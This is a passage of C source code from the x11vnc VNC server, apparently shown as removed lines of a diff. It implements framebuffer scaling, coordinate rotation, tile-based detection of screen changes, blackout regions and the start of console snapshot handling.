- /*
- * PseudoColor colormap... blending leads to random colors.
- * User can override with ":fb"
- */
- if (scaling_blend == 1) {
- /* :fb option sets it to 2 */
- if (default_visual->class == StaticGray) {
- /*
- * StaticGray can be blended OK, otherwise
- * user can disable with :nb
- */
- ;
- } else {
- scaling_blend = 0;
- }
- }
- }
-
- if (cmap8to24 && cmap8to24_fb) {
- src_fb = cmap8to24_fb;
- if (scaling) {
- if (depth <= 8) {
- fac = 4;
- } else if (depth <= 16) {
- fac = 2;
- }
- }
- }
- dst_fb = rfb_fb;
- dst_bpl = rfb_bytes_per_line;
-
- scale_rect(scale_fac_x, scale_fac_y, scaling_blend, scaling_interpolate, fac * Bpp,
- src_fb, fac * main_bytes_per_line, dst_fb, dst_bpl, dpy_x, dpy_y,
- scaled_x, scaled_y, X1, Y1, X2, Y2, mark);
-}
-
-void rotate_coords(int x, int y, int *xo, int *yo, int dxi, int dyi) {
- int xi = x, yi = y;
- int Dx, Dy;
-
- if (dxi >= 0) {
- Dx = dxi;
- Dy = dyi;
- } else if (scaling) {
- Dx = scaled_x;
- Dy = scaled_y;
- } else {
- Dx = dpy_x;
- Dy = dpy_y;
- }
-
- /* ncache?? */
-
- if (rotating == ROTATE_NONE) {
- *xo = xi;
- *yo = yi;
- } else if (rotating == ROTATE_X) {
- *xo = Dx - xi - 1;
- *yo = yi;
- } else if (rotating == ROTATE_Y) {
- *xo = xi;
- *yo = Dy - yi - 1;
- } else if (rotating == ROTATE_XY) {
- *xo = Dx - xi - 1;
- *yo = Dy - yi - 1;
- } else if (rotating == ROTATE_90) {
- *xo = Dy - yi - 1;
- *yo = xi;
- } else if (rotating == ROTATE_90X) {
- *xo = yi;
- *yo = xi;
- } else if (rotating == ROTATE_90Y) {
- *xo = Dy - yi - 1;
- *yo = Dx - xi - 1;
- } else if (rotating == ROTATE_270) {
- *xo = yi;
- *yo = Dx - xi - 1;
- }
-}
-
-void rotate_coords_inverse(int x, int y, int *xo, int *yo, int dxi, int dyi) {
- int xi = x, yi = y;
-
- int Dx, Dy;
-
- if (dxi >= 0) {
- Dx = dxi;
- Dy = dyi;
- } else if (scaling) {
- Dx = scaled_x;
- Dy = scaled_y;
- } else {
- Dx = dpy_x;
- Dy = dpy_y;
- }
- if (! rotating_same) {
- int t = Dx;
- Dx = Dy;
- Dy = t;
- }
-
- if (rotating == ROTATE_NONE) {
- *xo = xi;
- *yo = yi;
- } else if (rotating == ROTATE_X) {
- *xo = Dx - xi - 1;
- *yo = yi;
- } else if (rotating == ROTATE_Y) {
- *xo = xi;
- *yo = Dy - yi - 1;
- } else if (rotating == ROTATE_XY) {
- *xo = Dx - xi - 1;
- *yo = Dy - yi - 1;
- } else if (rotating == ROTATE_90) {
- *xo = yi;
- *yo = Dx - xi - 1;
- } else if (rotating == ROTATE_90X) {
- *xo = yi;
- *yo = xi;
- } else if (rotating == ROTATE_90Y) {
- *xo = Dy - yi - 1;
- *yo = Dx - xi - 1;
- } else if (rotating == ROTATE_270) {
- *xo = Dy - yi - 1;
- *yo = xi;
- }
-}
-
- /* unroll the Bpp loop to be used in each case: */
-#define ROT_COPY \
- src = src_0 + fbl*y + Bpp*x; \
- dst = dst_0 + rbl*yn + Bpp*xn; \
- if (Bpp == 1) { \
- *(dst) = *(src); \
- } else if (Bpp == 2) { \
- *(dst+0) = *(src+0); \
- *(dst+1) = *(src+1); \
- } else if (Bpp == 3) { \
- *(dst+0) = *(src+0); \
- *(dst+1) = *(src+1); \
- *(dst+2) = *(src+2); \
- } else if (Bpp == 4) { \
- *(dst+0) = *(src+0); \
- *(dst+1) = *(src+1); \
- *(dst+2) = *(src+2); \
- *(dst+3) = *(src+3); \
- }
-
-void rotate_fb(int x1, int y1, int x2, int y2) {
- int x, y, xn, yn, r_x1, r_y1, r_x2, r_y2, Bpp = bpp/8;
- int fbl = rfb_bytes_per_line;
- int rbl = rot_bytes_per_line;
- int Dx, Dy;
- char *src, *dst;
- char *src_0 = rfb_fb;
- char *dst_0 = rot_fb;
-
- if (! rotating || ! rot_fb) {
- return;
- }
-
- if (scaling) {
- Dx = scaled_x;
- Dy = scaled_y;
- } else {
- Dx = dpy_x;
- Dy = dpy_y;
- }
- rotate_coords(x1, y1, &r_x1, &r_y1, -1, -1);
- rotate_coords(x2, y2, &r_x2, &r_y2, -1, -1);
-
- dst = rot_fb;
-
- if (rotating == ROTATE_X) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = Dx - x - 1;
- yn = y;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_Y) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = x;
- yn = Dy - y - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_XY) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = Dx - x - 1;
- yn = Dy - y - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = Dy - y - 1;
- yn = x;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90X) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = y;
- yn = x;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90Y) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = Dy - y - 1;
- yn = Dx - x - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_270) {
- for (y = y1; y < y2; y++) {
- for (x = x1; x < x2; x++) {
- xn = y;
- yn = Dx - x - 1;
- ROT_COPY
- }
- }
- }
-}
-
-void rotate_curs(char *dst_0, char *src_0, int Dx, int Dy, int Bpp) {
- int x, y, xn, yn;
- char *src, *dst;
- int fbl, rbl;
-
- if (! rotating) {
- return;
- }
-
- fbl = Dx * Bpp;
- if (rotating_same) {
- rbl = Dx * Bpp;
- } else {
- rbl = Dy * Bpp;
- }
-
- if (rotating == ROTATE_X) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = Dx - x - 1;
- yn = y;
- ROT_COPY
-if (0) fprintf(stderr, "rcurs: %d %d %d %d\n", x, y, xn, yn);
- }
- }
- } else if (rotating == ROTATE_Y) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = x;
- yn = Dy - y - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_XY) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = Dx - x - 1;
- yn = Dy - y - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = Dy - y - 1;
- yn = x;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90X) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = y;
- yn = x;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_90Y) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = Dy - y - 1;
- yn = Dx - x - 1;
- ROT_COPY
- }
- }
- } else if (rotating == ROTATE_270) {
- for (y = 0; y < Dy; y++) {
- for (x = 0; x < Dx; x++) {
- xn = y;
- yn = Dx - x - 1;
- ROT_COPY
- }
- }
- }
-}
-
-void mark_wrapper(int x1, int y1, int x2, int y2) {
- int t, r_x1 = x1, r_y1 = y1, r_x2 = x2, r_y2 = y2;
-
- if (rotating) {
- /* well we hope rot_fb will always be the last one... */
- rotate_coords(x1, y1, &r_x1, &r_y1, -1, -1);
- rotate_coords(x2, y2, &r_x2, &r_y2, -1, -1);
- rotate_fb(x1, y1, x2, y2);
- if (r_x1 > r_x2) {
- t = r_x1;
- r_x1 = r_x2;
- r_x2 = t;
- }
- if (r_y1 > r_y2) {
- t = r_y1;
- r_y1 = r_y2;
- r_y2 = t;
- }
- /* painting errors */
- r_x1--;
- r_x2++;
- r_y1--;
- r_y2++;
- }
- rfbMarkRectAsModified(screen, r_x1, r_y1, r_x2, r_y2);
-}
-
-void mark_rect_as_modified(int x1, int y1, int x2, int y2, int force) {
-
- if (damage_time != 0) {
- /*
- * This is not XDAMAGE, rather a hack for testing
- * where we allow the framebuffer to be corrupted for
- * damage_delay seconds.
- */
- int debug = 0;
- if (time(NULL) > damage_time + damage_delay) {
- if (! quiet) {
- rfbLog("damaging turned off.\n");
- }
- damage_time = 0;
- damage_delay = 0;
- } else {
- if (debug) {
- rfbLog("damaging viewer fb by not marking "
- "rect: %d,%d,%d,%d\n", x1, y1, x2, y2);
- }
- return;
- }
- }
-
-
- if (rfb_fb == main_fb || force) {
- mark_wrapper(x1, y1, x2, y2);
- return;
- }
-
- if (cmap8to24) {
- bpp8to24(x1, y1, x2, y2);
- }
-
- if (scaling) {
- scale_and_mark_rect(x1, y1, x2, y2, 1);
- } else {
- mark_wrapper(x1, y1, x2, y2);
- }
-}
-
-/*
- * Notifies libvncserver of a changed hint rectangle.
- */
-static void mark_hint(hint_t hint) {
- int x = hint.x;
- int y = hint.y;
- int w = hint.w;
- int h = hint.h;
-
- mark_rect_as_modified(x, y, x + w, y + h, 0);
-}
-
-/*
- * copy_tiles() gives a slight improvement over copy_tile() since
- * adjacent runs of tiles are done all at once there is some savings
- * due to contiguous memory access. Not a great speedup, but in some
- * cases it can be up to 2X. Even more on a SunRay or ShadowFB where
- * no graphics hardware is involved in the read. Generally, graphics
- * devices are optimized for write, not read, so we are limited by the
- * read bandwidth, sometimes only 5 MB/sec on otherwise fast hardware.
- */
-static int *first_line = NULL, *last_line = NULL;
-static unsigned short *left_diff = NULL, *right_diff = NULL;
-
-static int copy_tiles(int tx, int ty, int nt) {
- int x, y, line;
- int size_x, size_y, width1, width2;
- int off, len, n, dw, dx, t;
- int w1, w2, dx1, dx2; /* tmps for normal and short tiles */
- int pixelsize = bpp/8;
- int first_min, last_max;
- int first_x = -1, last_x = -1;
- static int prev_ntiles_x = -1;
-
- char *src, *dst, *s_src, *s_dst, *m_src, *m_dst;
- char *h_src, *h_dst;
- if (unixpw_in_progress) return 0;
-
- if (ntiles_x != prev_ntiles_x && first_line != NULL) {
- free(first_line); first_line = NULL;
- free(last_line); last_line = NULL;
- free(left_diff); left_diff = NULL;
- free(right_diff); right_diff = NULL;
- }
-
- if (first_line == NULL) {
- /* allocate arrays first time in. */
- int n = ntiles_x + 1;
- rfbLog("copy_tiles: allocating first_line at size %d\n", n);
- first_line = (int *) malloc((size_t) (n * sizeof(int)));
- last_line = (int *) malloc((size_t) (n * sizeof(int)));
- left_diff = (unsigned short *)
- malloc((size_t) (n * sizeof(unsigned short)));
- right_diff = (unsigned short *)
- malloc((size_t) (n * sizeof(unsigned short)));
- }
- prev_ntiles_x = ntiles_x;
-
- x = tx * tile_x;
- y = ty * tile_y;
-
- size_x = dpy_x - x;
- if ( size_x > tile_x * nt ) {
- size_x = tile_x * nt;
- width1 = tile_x;
- width2 = tile_x;
- } else {
- /* short tile */
- width1 = tile_x; /* internal tile */
- width2 = size_x - (nt - 1) * tile_x; /* right hand tile */
- }
-
- size_y = dpy_y - y;
- if ( size_y > tile_y ) {
- size_y = tile_y;
- }
-
- n = tx + ty * ntiles_x; /* number of the first tile */
-
- if (blackouts && tile_blackout[n].cover == 2) {
- /*
- * If there are blackouts and this tile is completely covered
- * no need to poll screen or do anything else..
- * n.b. we are in single copy_tile mode: nt=1
- */
- tile_has_diff[n] = 0;
- return(0);
- }
-
- X_LOCK;
- XRANDR_SET_TRAP_RET(-1, "copy_tile-set");
- /* read in the whole tile run at once: */
- copy_image(tile_row[nt], x, y, size_x, size_y);
- XRANDR_CHK_TRAP_RET(-1, "copy_tile-chk");
-
-
- X_UNLOCK;
-
- if (blackouts && tile_blackout[n].cover == 1) {
- /*
- * If there are blackouts and this tile is partially covered
- * we should re-black-out the portion.
- * n.b. we are in single copy_tile mode: nt=1
- */
- int x1, x2, y1, y2, b;
- int w, s, fill = 0;
-
- for (b=0; b < tile_blackout[n].count; b++) {
- char *b_dst = tile_row[nt]->data;
-
- x1 = tile_blackout[n].bo[b].x1 - x;
- y1 = tile_blackout[n].bo[b].y1 - y;
- x2 = tile_blackout[n].bo[b].x2 - x;
- y2 = tile_blackout[n].bo[b].y2 - y;
-
- w = (x2 - x1) * pixelsize;
- s = x1 * pixelsize;
-
- for (line = 0; line < size_y; line++) {
- if (y1 <= line && line < y2) {
- memset(b_dst + s, fill, (size_t) w);
- }
- b_dst += tile_row[nt]->bytes_per_line;
- }
- }
- }
-
- src = tile_row[nt]->data;
- dst = main_fb + y * main_bytes_per_line + x * pixelsize;
-
- s_src = src;
- s_dst = dst;
-
- for (t=1; t <= nt; t++) {
- first_line[t] = -1;
- }
-
- /* find the first line with difference: */
- w1 = width1 * pixelsize;
- w2 = width2 * pixelsize;
-
- /* foreach line: */
- for (line = 0; line < size_y; line++) {
- /* foreach horizontal tile: */
- for (t=1; t <= nt; t++) {
- if (first_line[t] != -1) {
- continue;
- }
-
- off = (t-1) * w1;
- if (t == nt) {
- len = w2; /* possible short tile */
- } else {
- len = w1;
- }
-
- if (memcmp(s_dst + off, s_src + off, len)) {
- first_line[t] = line;
- }
- }
- s_src += tile_row[nt]->bytes_per_line;
- s_dst += main_bytes_per_line;
- }
-
- /* see if there were any differences for any tile: */
- first_min = -1;
- for (t=1; t <= nt; t++) {
- tile_tried[n+(t-1)] = 1;
- if (first_line[t] != -1) {
- if (first_min == -1 || first_line[t] < first_min) {
- first_min = first_line[t];
- }
- }
- }
- if (first_min == -1) {
- /* no tile has a difference, note this and get out: */
- for (t=1; t <= nt; t++) {
- tile_has_diff[n+(t-1)] = 0;
- }
- return(0);
- } else {
- /*
- * at least one tile has a difference. make sure info
- * is recorded (e.g. sometimes we guess tiles and they
- * came in with tile_has_diff 0)
- */
- for (t=1; t <= nt; t++) {
- if (first_line[t] == -1) {
- tile_has_diff[n+(t-1)] = 0;
- } else {
- tile_has_diff[n+(t-1)] = 1;
- }
- }
- }
-
- m_src = src + (tile_row[nt]->bytes_per_line * size_y);
- m_dst = dst + (main_bytes_per_line * size_y);
-
- for (t=1; t <= nt; t++) {
- last_line[t] = first_line[t];
- }
-
- /* find the last line with difference: */
- w1 = width1 * pixelsize;
- w2 = width2 * pixelsize;
-
- /* foreach line: */
- for (line = size_y - 1; line > first_min; line--) {
-
- m_src -= tile_row[nt]->bytes_per_line;
- m_dst -= main_bytes_per_line;
-
- /* foreach tile: */
- for (t=1; t <= nt; t++) {
- if (first_line[t] == -1
- || last_line[t] != first_line[t]) {
- /* tile has no changes or already done */
- continue;
- }
-
- off = (t-1) * w1;
- if (t == nt) {
- len = w2; /* possible short tile */
- } else {
- len = w1;
- }
- if (memcmp(m_dst + off, m_src + off, len)) {
- last_line[t] = line;
- }
- }
- }
-
- /*
- * determine the farthest down last changed line
- * will be used below to limit our memcpy() to the framebuffer.
- */
- last_max = -1;
- for (t=1; t <= nt; t++) {
- if (first_line[t] == -1) {
- continue;
- }
- if (last_max == -1 || last_line[t] > last_max) {
- last_max = last_line[t];
- }
- }
-
- /* look for differences on left and right hand edges: */
- for (t=1; t <= nt; t++) {
- left_diff[t] = 0;
- right_diff[t] = 0;
- }
-
- h_src = src;
- h_dst = dst;
-
- w1 = width1 * pixelsize;
- w2 = width2 * pixelsize;
-
- dx1 = (width1 - tile_fuzz) * pixelsize;
- dx2 = (width2 - tile_fuzz) * pixelsize;
- dw = tile_fuzz * pixelsize;
-
- /* foreach line: */
- for (line = 0; line < size_y; line++) {
- /* foreach tile: */
- for (t=1; t <= nt; t++) {
- if (first_line[t] == -1) {
- /* tile has no changes at all */
- continue;
- }
-
- off = (t-1) * w1;
- if (t == nt) {
- dx = dx2; /* possible short tile */
- if (dx <= 0) {
- break;
- }
- } else {
- dx = dx1;
- }
-
- if (! left_diff[t] && memcmp(h_dst + off,
- h_src + off, dw)) {
- left_diff[t] = 1;
- }
- if (! right_diff[t] && memcmp(h_dst + off + dx,
- h_src + off + dx, dw) ) {
- right_diff[t] = 1;
- }
- }
- h_src += tile_row[nt]->bytes_per_line;
- h_dst += main_bytes_per_line;
- }
-
- /* now finally copy the difference to the rfb framebuffer: */
- s_src = src + tile_row[nt]->bytes_per_line * first_min;
- s_dst = dst + main_bytes_per_line * first_min;
-
- for (line = first_min; line <= last_max; line++) {
- /* for I/O speed we do not do this tile by tile */
- memcpy(s_dst, s_src, size_x * pixelsize);
- if (nt == 1) {
- /*
- * optimization for tall skinny lines, e.g. wm
- * frame. try to find first_x and last_x to limit
- * the size of the hint. could help for a slow
- * link. Unfortunately we spent a lot of time
- * reading in the many tiles.
- *
- * BTW, we like to think the above memcpy leaves
- * the data we use below in the cache... (but
- * it could be two 128 byte segments at 32bpp)
- * so this inner loop is not as bad as it seems.
- */
- int k, kx;
- kx = pixelsize;
- for (k=0; k<size_x; k++) {
- if (memcmp(s_dst + k*kx, s_src + k*kx, kx)) {
- if (first_x == -1 || k < first_x) {
- first_x = k;
- }
- if (last_x == -1 || k > last_x) {
- last_x = k;
- }
- }
- }
- }
- s_src += tile_row[nt]->bytes_per_line;
- s_dst += main_bytes_per_line;
- }
-
- /* record all the info in the region array for this tile: */
- for (t=1; t <= nt; t++) {
- int s = t - 1;
-
- if (first_line[t] == -1) {
- /* tile unchanged */
- continue;
- }
- tile_region[n+s].first_line = first_line[t];
- tile_region[n+s].last_line = last_line[t];
-
- tile_region[n+s].first_x = first_x;
- tile_region[n+s].last_x = last_x;
-
- tile_region[n+s].top_diff = 0;
- tile_region[n+s].bot_diff = 0;
- if ( first_line[t] < tile_fuzz ) {
- tile_region[n+s].top_diff = 1;
- }
- if ( last_line[t] > (size_y - 1) - tile_fuzz ) {
- tile_region[n+s].bot_diff = 1;
- }
-
- tile_region[n+s].left_diff = left_diff[t];
- tile_region[n+s].right_diff = right_diff[t];
-
- tile_copied[n+s] = 1;
- }
-
- return(1);
-}
-
-/*
- * The copy_tile() call in the loop below copies the changed tile into
- * the rfb framebuffer. Note that copy_tile() sets the tile_region
- * struct to have info about the y-range of the changed region and also
- * whether the tile edges contain diffs (within distance tile_fuzz).
- *
- * We use this tile_region info to try to guess if the downward and right
- * tiles will have diffs. These tiles will be checked later in the loop
- * (since y+1 > y and x+1 > x).
- *
- * See copy_tiles_backward_pass() for analogous checking upward and
- * left tiles.
- */
-static int copy_all_tiles(void) {
- int x, y, n, m;
- int diffs = 0, ct;
-
- if (unixpw_in_progress) return 0;
-
- for (y=0; y < ntiles_y; y++) {
- for (x=0; x < ntiles_x; x++) {
- n = x + y * ntiles_x;
-
- if (tile_has_diff[n]) {
- ct = copy_tiles(x, y, 1);
- if (ct < 0) return ct; /* fatal */
- }
- if (! tile_has_diff[n]) {
- /*
- * n.b. copy_tiles() may have detected
- * no change and reset tile_has_diff to 0.
- */
- continue;
- }
- diffs++;
-
- /* neighboring tile downward: */
- if ( (y+1) < ntiles_y && tile_region[n].bot_diff) {
- m = x + (y+1) * ntiles_x;
- if (! tile_has_diff[m]) {
- tile_has_diff[m] = 2;
- }
- }
- /* neighboring tile to right: */
- if ( (x+1) < ntiles_x && tile_region[n].right_diff) {
- m = (x+1) + y * ntiles_x;
- if (! tile_has_diff[m]) {
- tile_has_diff[m] = 2;
- }
- }
- }
- }
- return diffs;
-}
-
-/*
- * Routine analogous to copy_all_tiles() above, but for horizontal runs
- * of adjacent changed tiles.
- */
-static int copy_all_tile_runs(void) {
- int x, y, n, m, i;
- int diffs = 0, ct;
- int in_run = 0, run = 0;
- int ntave = 0, ntcnt = 0;
-
- if (unixpw_in_progress) return 0;
-
- for (y=0; y < ntiles_y; y++) {
- for (x=0; x < ntiles_x + 1; x++) {
- n = x + y * ntiles_x;
-
- if (x != ntiles_x && tile_has_diff[n]) {
- in_run = 1;
- run++;
- } else {
- if (! in_run) {
- in_run = 0;
- run = 0;
- continue;
- }
- ct = copy_tiles(x - run, y, run);
- if (ct < 0) return ct; /* fatal */
-
- ntcnt++;
- ntave += run;
- diffs += run;
-
- /* neighboring tile downward: */
- for (i=1; i <= run; i++) {
- if ((y+1) < ntiles_y
- && tile_region[n-i].bot_diff) {
- m = (x-i) + (y+1) * ntiles_x;
- if (! tile_has_diff[m]) {
- tile_has_diff[m] = 2;
- }
- }
- }
-
- /* neighboring tile to right: */
- if (((x-1)+1) < ntiles_x
- && tile_region[n-1].right_diff) {
- m = ((x-1)+1) + y * ntiles_x;
- if (! tile_has_diff[m]) {
- tile_has_diff[m] = 2;
- }
-
- /* note that this starts a new run */
- in_run = 1;
- run = 1;
- } else {
- in_run = 0;
- run = 0;
- }
- }
- }
- /*
- * Could some activity go here, to emulate threaded
- * behavior by servicing some libvncserver tasks?
- */
- }
- return diffs;
-}
-
-/*
- * Here starts a bunch of heuristics to guess/detect changed tiles.
- * They are:
- * copy_tiles_backward_pass, fill_tile_gaps/gap_try, grow_islands/island_try
- */
-
-/*
- * Try to predict whether the upward and/or leftward tile has been modified.
- * copy_all_tiles() has already done downward and rightward tiles.
- */
-static int copy_tiles_backward_pass(void) {
- int x, y, n, m;
- int diffs = 0, ct;
-
- if (unixpw_in_progress) return 0;
-
- for (y = ntiles_y - 1; y >= 0; y--) {
- for (x = ntiles_x - 1; x >= 0; x--) {
- n = x + y * ntiles_x; /* number of this tile */
-
- if (! tile_has_diff[n]) {
- continue;
- }
-
- m = x + (y-1) * ntiles_x; /* neighboring tile upward */
-
- if (y >= 1 && ! tile_has_diff[m] && tile_region[n].top_diff) {
- if (! tile_tried[m]) {
- tile_has_diff[m] = 2;
- ct = copy_tiles(x, y-1, 1);
- if (ct < 0) return ct; /* fatal */
- }
- }
-
- m = (x-1) + y * ntiles_x; /* neighboring tile to left */
-
- if (x >= 1 && ! tile_has_diff[m] && tile_region[n].left_diff) {
- if (! tile_tried[m]) {
- tile_has_diff[m] = 2;
- ct = copy_tiles(x-1, y, 1);
- if (ct < 0) return ct; /* fatal */
- }
- }
- }
- }
- for (n=0; n < ntiles; n++) {
- if (tile_has_diff[n]) {
- diffs++;
- }
- }
- return diffs;
-}
-
-static int copy_tiles_additional_pass(void) {
- int x, y, n;
- int diffs = 0, ct;
-
- if (unixpw_in_progress) return 0;
-
- for (y=0; y < ntiles_y; y++) {
- for (x=0; x < ntiles_x; x++) {
- n = x + y * ntiles_x; /* number of this tile */
-
- if (! tile_has_diff[n]) {
- continue;
- }
- if (tile_copied[n]) {
- continue;
- }
-
- ct = copy_tiles(x, y, 1);
- if (ct < 0) return ct; /* fatal */
- }
- }
- for (n=0; n < ntiles; n++) {
- if (tile_has_diff[n]) {
- diffs++;
- }
- }
- return diffs;
-}
-
-static int gap_try(int x, int y, int *run, int *saw, int along_x) {
- int n, m, i, xt, yt, ct;
-
- n = x + y * ntiles_x;
-
- if (! tile_has_diff[n]) {
- if (*saw) {
- (*run)++; /* extend the gap run. */
- }
- return 0;
- }
- if (! *saw || *run == 0 || *run > gaps_fill) {
- *run = 0; /* unacceptable run. */
- *saw = 1;
- return 0;
- }
-
- for (i=1; i <= *run; i++) { /* iterate thru the run. */
- if (along_x) {
- xt = x - i;
- yt = y;
- } else {
- xt = x;
- yt = y - i;
- }
-
- m = xt + yt * ntiles_x;
- if (tile_tried[m]) { /* do not repeat tiles */
- continue;
- }
-
- ct = copy_tiles(xt, yt, 1);
- if (ct < 0) return ct; /* fatal */
- }
- *run = 0;
- *saw = 1;
- return 1;
-}
-
-/*
- * Look for small gaps of unchanged tiles that may actually contain changes.
- * E.g. when paging up and down in a web broswer or terminal there can
- * be a distracting delayed filling in of such gaps. gaps_fill is the
- * tweak parameter that sets the width of the gaps that are checked.
- *
- * BTW, grow_islands() is actually pretty successful at doing this too...
- */
-static int fill_tile_gaps(void) {
- int x, y, run, saw;
- int n, diffs = 0, ct;
-
- /* horizontal: */
- for (y=0; y < ntiles_y; y++) {
- run = 0;
- saw = 0;
- for (x=0; x < ntiles_x; x++) {
- ct = gap_try(x, y, &run, &saw, 1);
- if (ct < 0) return ct; /* fatal */
- }
- }
-
- /* vertical: */
- for (x=0; x < ntiles_x; x++) {
- run = 0;
- saw = 0;
- for (y=0; y < ntiles_y; y++) {
- ct = gap_try(x, y, &run, &saw, 0);
- if (ct < 0) return ct; /* fatal */
- }
- }
-
- for (n=0; n < ntiles; n++) {
- if (tile_has_diff[n]) {
- diffs++;
- }
- }
- return diffs;
-}
-
-static int island_try(int x, int y, int u, int v, int *run) {
- int n, m, ct;
-
- n = x + y * ntiles_x;
- m = u + v * ntiles_x;
-
- if (tile_has_diff[n]) {
- (*run)++;
- } else {
- *run = 0;
- }
-
- if (tile_has_diff[n] && ! tile_has_diff[m]) {
- /* found a discontinuity */
-
- if (tile_tried[m]) {
- return 0;
- } else if (*run < grow_fill) {
- return 0;
- }
-
- ct = copy_tiles(u, v, 1);
- if (ct < 0) return ct; /* fatal */
- }
- return 1;
-}
-
-/*
- * Scan looking for discontinuities in tile_has_diff[]. Try to extend
- * the boundary of the discontinuity (i.e. make the island larger).
- * Vertical scans are skipped since they do not seem to yield much...
- */
-static int grow_islands(void) {
- int x, y, n, run;
- int diffs = 0, ct;
-
- /*
- * n.b. the way we scan here should keep an extension going,
- * and so also fill in gaps effectively...
- */
-
- /* left to right: */
- for (y=0; y < ntiles_y; y++) {
- run = 0;
- for (x=0; x <= ntiles_x - 2; x++) {
- ct = island_try(x, y, x+1, y, &run);
- if (ct < 0) return ct; /* fatal */
- }
- }
- /* right to left: */
- for (y=0; y < ntiles_y; y++) {
- run = 0;
- for (x = ntiles_x - 1; x >= 1; x--) {
- ct = island_try(x, y, x-1, y, &run);
- if (ct < 0) return ct; /* fatal */
- }
- }
- for (n=0; n < ntiles; n++) {
- if (tile_has_diff[n]) {
- diffs++;
- }
- }
- return diffs;
-}
-
-/*
- * Fill the framebuffer with zeros for each blackout region
- */
-static void blackout_regions(void) {
- int i;
- for (i=0; i < blackouts; i++) {
- zero_fb(blackr[i].x1, blackr[i].y1, blackr[i].x2, blackr[i].y2);
- }
-}
-
-/*
- * copy the whole X screen to the rfb framebuffer. For a large enough
- * number of changed tiles, this is faster than tiles scheme at retrieving
- * the info from the X server. Bandwidth to client and compression time
- * are other issues... use -fs 1.0 to disable.
- */
-int copy_screen(void) {
- char *fbp;
- int i, y, block_size;
-
- if (! fs_factor) {
- return 0;
- }
- if (debug_tiles) fprintf(stderr, "copy_screen\n");
-
- if (unixpw_in_progress) return 0;
-
-
- if (! main_fb) {
- return 0;
- }
-
- block_size = ((dpy_y/fs_factor) * main_bytes_per_line);
-
- fbp = main_fb;
- y = 0;
-
- X_LOCK;
-
- /* screen may be too big for 1 shm area, so broken into fs_factor */
- for (i=0; i < fs_factor; i++) {
- XRANDR_SET_TRAP_RET(-1, "copy_screen-set");
- copy_image(fullscreen, 0, y, 0, 0);
- XRANDR_CHK_TRAP_RET(-1, "copy_screen-chk");
-
- memcpy(fbp, fullscreen->data, (size_t) block_size);
-
- y += dpy_y / fs_factor;
- fbp += block_size;
- }
-
- X_UNLOCK;
-
- if (blackouts) {
- blackout_regions();
- }
-
- mark_rect_as_modified(0, 0, dpy_x, dpy_y, 0);
- return 0;
-}
-
-#include <rfb/default8x16.h>
-
-/*
- * Color values from the vcsadump program.
- * void dumpcss(FILE *fp, char *attribs_used)
- * char *colormap[] = {
- * "#000000", "#0000AA", "#00AA00", "#00AAAA", "#AA0000", "#AA00AA", "#AA5500", "#AAAAAA",
- * "#555555", "#5555AA", "#55FF55", "#55FFFF", "#FF5555", "#FF55FF", "#FFFF00", "#FFFFFF" };
- */
-
-static unsigned char console_cmap[16*3]={
-/* 0 */ 0x00, 0x00, 0x00,
-/* 1 */ 0x00, 0x00, 0xAA,
-/* 2 */ 0x00, 0xAA, 0x00,
-/* 3 */ 0x00, 0xAA, 0xAA,
-/* 4 */ 0xAA, 0x00, 0x00,
-/* 5 */ 0xAA, 0x00, 0xAA,
-/* 6 */ 0xAA, 0x55, 0x00,
-/* 7 */ 0xAA, 0xAA, 0xAA,
-/* 8 */ 0x55, 0x55, 0x55,
-/* 9 */ 0x55, 0x55, 0xAA,
-/* 10 */ 0x55, 0xFF, 0x55,
-/* 11 */ 0x55, 0xFF, 0xFF,
-/* 12 */ 0xFF, 0x55, 0x55,
-/* 13 */ 0xFF, 0x55, 0xFF,
-/* 14 */ 0xFF, 0xFF, 0x00,
-/* 15 */ 0xFF, 0xFF, 0xFF
-};
-
-static void snap_vcsa_rawfb(void) {
- int n;
- char *dst;
- char buf[32];
- int i, len, del;
- unsigned char rows, cols, xpos, ypos;
- static int prev_rows = -1, prev_cols = -1;
- static unsigned char prev_xpos = -1, prev_ypos = -1;
- static char *vcsabuf = NULL;
- static char *vcsabuf0 = NULL;
- static unsigned int color_tab[16];
- static int Cw = 8, Ch = 16;
- static int db = -1, first = 1;
- int created = 0;
- rfbScreenInfo s;
- rfbScreenInfoPtr fake_screen = &s;
- int Bpp = raw_fb_native_bpp / 8;
-
- if (db < 0) {
- if (getenv("X11VNC_DEBUG_VCSA")) {
- db = atoi(getenv("X11VNC_DEBUG_VCSA"));
- } else {
- db = 0;
- }
- }
-
- if (first) {
- unsigned int rm = raw_fb_native_red_mask;
- unsigned int gm = raw_fb_native_green_mask;
- unsigned int bm = raw_fb_native_blue_mask;
- unsigned int rs = raw_fb_native_red_shift;
- unsigned int gs = raw_fb_native_green_shift;
- unsigned int bs = raw_fb_native_blue_shift;
- unsigned int rx = raw_fb_native_red_max;
- unsigned int gx = raw_fb_native_green_max;
- unsigned int bx = raw_fb_native_blue_max;
-
- for (i=0; i < 16; i++) {
- int r = console_cmap[3*i+0];
- int g = console_cmap[3*i+1];
